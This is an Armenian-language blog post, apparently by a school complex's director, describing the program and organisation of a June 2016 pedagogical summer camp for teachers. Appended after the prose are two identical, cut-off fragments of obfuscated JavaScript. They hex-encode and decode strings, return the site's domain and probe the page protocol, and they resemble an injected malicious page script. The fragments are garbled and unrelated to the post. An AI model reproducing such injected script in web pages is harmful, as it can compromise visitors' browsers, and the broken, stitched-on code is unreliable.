«Ամառ 2016» նախագծով հերթական ճամբարը, որ սկսում է հունիսի 20-ին, հեղինակային կրթական ծրագրի՝ մոբիլության, ստեղծականության, ներառականության դրսևորման-ապահովման, մանկավարժական աշխատողին անհրաժեշտ ընդհանուր հմտությունների փոխանցման հարթակ է։ Իմ օրվա գիրը կարդացեք՝ որպես այս սուրհանդակի մաս։ Մանկավարժության լաբորատորիան հրապարակել է ճամբարի կազմակերպումը և առաջին օրվա ծրագիրը։ Անհրաժեշտ եմ համարում մեկնաբանել-լրացնել։ Ծրագիրը կազմված է մի քանի մասից։

• Մարզական պարապմունքներից ընտրված են մարմնամարզությունը, վազքը, լողի և հեծանվավարության ստուգարքները՝ կարևորելով սովորողների մարզական-արշավախմբային գործունեության կազմակերպման հմտությունները, ֆիզիկական միջավայրում անվտանգ գործունեության պահանջը։ Այո, կարևոր է, որ հեղինակային կրթական ծրագիրը կազմակերպող մանկավարժական յուրաքանչյուր աշխատողը մարզական լինի, ունենա մարզական-արշավային հանդերձանք-այլ պարագաներ, դրսևորի լողորդի, հեծանվորդի, արշավորդի հմտություններ։
• Առավոտյան ընդհանուր պարապմունքին նախատեսվում է նոր երգերի, պարերի ուսուցում։
• Բանգլադեշյան ամենամյա պլեներ 2016-ի արդյունքները ներկայացնել-քննարկել-գնահատելը յուրաքանչյուրի գործն է, որովհետև հագեցած պլեներային շաբաթը շատ բաներ թողել է աննկատ, չգնահատված. ստուգատեսներին չներկայացված. նաև ստուգատես չհասած աշխատանքների մասին պետք է խոսել: Այս քննարկումները ոչ միայն Բանգլադեշյան պլեներ 2017-ի, այլ նաև 2016-2017 ուսումնական տարվա մյուս ստուգատեսների կազմակերպմանը գաղափարներ-առաջարկներ կբերեն։
• Ուսումնական մյուս պարապմունքները նախաձեռնություններ են՝ կոնկրետ, ուղղված են կրթական ծրագրերի 2016-2017-ի կազմակերպմանը։
• Ուսումնական նախագծերը մանկավարժական աշխատողների լրացուցիչ կրթությունն են ապահովում, հավեսի, ստեղծականության, հետաքրքրությունների բավարարման հարթակ են։ Մարիետ Սիմոնյանը նախաձեռնողների խմբի հետ հրապարակել է նախագծերը, առաջարկեք էլի, նոր խմբեր կազմեք. հունիսի 20-23-ը սկիզբն է, նախագծերը կշարունակվե՞ն մինչև ամառվա վերջը։
• Կրթահամալիր դիմող մասնագետները ժամը 13.00-ից կազմում են նախագծային առանձին ջոկատ, որտեղ նրանց կփոխանցվեն աանհրաժեշտ տեխնոլոգիական հմտությունները։
• Ընդմիջումը ամենուր նույն սկզբունքով է կազմակերպվում՝ բրդուճային, ամառային, թեթև, ուրախ։
• Ուրբաթ-շաբաթ-կիրակի արտագնա արշավախմբային-վրանային ճամբարն է Սևանի «Ժայռում», միասին քայլելու, լողալու, վերելքի, հայրենագիտական արշավների օրեր։

Մանկավարժական աշխատողների մասնակցության հաշվառումն արվում է դպրոցներում, պատասխանատուները գրանցում են մասնակցության արդյունքները և փոխանցում կրթահամալիրի տնօրենի գրասենյակ՝ կադրերի տեսուչին, որպեսզի աշխատողի անհատական գործում գրանցի։ Ջոկատների ղեկավարները ամեն օրվա և գործունեության համար թող հրապարակեն-ներկայացնեն ցուցակները` նկատի ունենալով նրանց, որ արդեն արձակուրդում են, որ դպրոցում-կրթահամալիրում այլ աշխատանք ունեն, ինչպես սովորողների ջոկատի-ճամբարի-նախագծի ղեկավարում, քննական կենտրոնում աշխատանք, այլ աշխատանք։ Ոչ մի աշխատանք հաշվառումից դուրս չի կարող մնալ։

Ջոկատների հարգելի ղեկավարներ, հրապարակեք նաև դպրոցների, քոլեջի 2016-2017 ուսումնական տարվա ընդունելության կազմակերպման հունիսի 20-25-ի նախագիծը` իր աշխատակարգով,  ընդունելության անկյուններով, դրանց պատասխանատուներով-հերթապահներով, նրանց աշխատանքով։

Մանկավարժության ճամբարը ձևականություն-արհեստականությունը հաղթահարելու, տարին չորս անգամ ուսուցիչների մանկավարժական զարգացմանը կազմակերպում տալու հարմար հարթակ է։  Հիշեցնում եմ, որ ճամբարը բաց է, լավ կլինի, որ այստեղ էլ գործի Միջին դպրոցի ճամբարի «1+1» սկզբունքը։

Դպրոցներում շարունակում են գործել ամառային պարտեզներն ու լողափնյա ճամբարները, մանկավարժության ճամբարի մասնակիցների երեխաներն ընդգրկվում են այդ ճամբարներում։

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ashotbleyan.mskh.am"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e